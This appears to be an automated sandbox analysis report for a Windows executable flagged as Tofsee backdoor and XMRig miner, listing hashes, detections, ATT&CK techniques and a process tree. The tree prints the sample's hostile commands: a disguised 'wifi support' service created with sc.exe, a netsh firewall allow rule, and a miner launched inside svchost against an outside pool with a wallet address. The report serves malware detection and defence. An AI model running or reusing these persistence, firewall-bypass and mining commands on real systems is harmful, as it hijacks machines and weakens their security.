Overview

overview

10

Static

static

220ac1d524...27.exe

windows7_x64

10

220ac1d524...27.exe

windows10_x64

10

Analysis

  • max time kernel
    594s
  • max time network
    603s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09-07-2021 20:32

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General

  • Target

    220ac1d52446be2b0c1e854cc81e7e27.exe

  • Size

    13.6MB

  • MD5

    220ac1d52446be2b0c1e854cc81e7e27

  • SHA1

    130bf6a18d3aeea47e3e65e865417df62ac4143f

  • SHA256

    916b9345c21902748cb937433e9fde2aa588269234f0f2f831d05a13eadf2d5c

  • SHA512

    0008a30edc70e6b7ff448278078838ce5dd10a255581f72ceb17bf0f7b54b2c5dd98926ab831bbe17ee59f56325abd5df5d39876af7c137b970ab19d08811300

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\220ac1d52446be2b0c1e854cc81e7e27.exe
    "C:\Users\Admin\AppData\Local\Temp\220ac1d52446be2b0c1e854cc81e7e27.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fcgeqwhw\
      2⤵
        PID:2960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bwasitvt.exe" C:\Windows\SysWOW64\fcgeqwhw\
        2⤵
          PID:2388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fcgeqwhw binPath= "C:\Windows\SysWOW64\fcgeqwhw\bwasitvt.exe /d\"C:\Users\Admin\AppData\Local\Temp\220ac1d52446be2b0c1e854cc81e7e27.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:640
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description fcgeqwhw "wifi internet conection"
            2⤵
              PID:1188
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start fcgeqwhw
              2⤵
                PID:2160
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4000
              • C:\Windows\SysWOW64\fcgeqwhw\bwasitvt.exe
                C:\Windows\SysWOW64\fcgeqwhw\bwasitvt.exe /d"C:\Users\Admin\AppData\Local\Temp\220ac1d52446be2b0c1e854cc81e7e27.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3788
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2488
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4016

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\bwasitvt.exe
                MD5

                db2e1fff86b3076f42af3ad29ce031a2

                SHA1

                4f72d8f363caf34f05965e43044feb497bfa8715

                SHA256

                71de3391d777b5e1fcc65a2393c2dcaaf195f120626659a04fc0c5c301b2caaa

                SHA512

                97d33d914fe27a55bb4f34f1f51473d997ee2747b0e4c02cdce41afc1e23da8be16c5466e7efb9d5720b9160a5502abd51fd6134605de3beccf94a3de7cf109f

                Download Submit
              • C:\Windows\SysWOW64\fcgeqwhw\bwasitvt.exe
                MD5

                db2e1fff86b3076f42af3ad29ce031a2

                SHA1

                4f72d8f363caf34f05965e43044feb497bfa8715

                SHA256

                71de3391d777b5e1fcc65a2393c2dcaaf195f120626659a04fc0c5c301b2caaa

                SHA512

                97d33d914fe27a55bb4f34f1f51473d997ee2747b0e4c02cdce41afc1e23da8be16c5466e7efb9d5720b9160a5502abd51fd6134605de3beccf94a3de7cf109f

                Download Submit
              • memory/640-119-0x0000000000000000-mapping.dmp
                Download
              • memory/652-115-0x0000000000400000-0x0000000002FA7000-memory.dmp
                Filesize

                43.7MB

                Download
              • memory/652-114-0x00000000001D0000-0x00000000001E3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/1188-120-0x0000000000000000-mapping.dmp
                Download
              • memory/2160-121-0x0000000000000000-mapping.dmp
                Download
              • memory/2388-117-0x0000000000000000-mapping.dmp
                Download
              • memory/2488-125-0x0000000000369A6B-mapping.dmp
                Download
              • memory/2488-124-0x0000000000360000-0x0000000000375000-memory.dmp
                Filesize

                84KB

                Download
              • memory/2488-129-0x0000000000360000-0x0000000000375000-memory.dmp
                Filesize

                84KB

                Download
              • memory/2488-130-0x0000000004150000-0x000000000435F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/2488-132-0x00000000003F0000-0x00000000003F6000-memory.dmp
                Filesize

                24KB

                Download
              • memory/2960-116-0x0000000000000000-mapping.dmp
                Download
              • memory/3788-128-0x0000000000400000-0x0000000002FA7000-memory.dmp
                Filesize

                43.7MB

                Download
              • memory/4000-123-0x0000000000000000-mapping.dmp
                Download
              • memory/4016-140-0x0000000002C40000-0x0000000002D31000-memory.dmp
                Filesize

                964KB

                Download
              • memory/4016-135-0x0000000002C40000-0x0000000002D31000-memory.dmp
                Filesize

                964KB

                Download
              • memory/4016-139-0x0000000002CD259C-mapping.dmp
                Download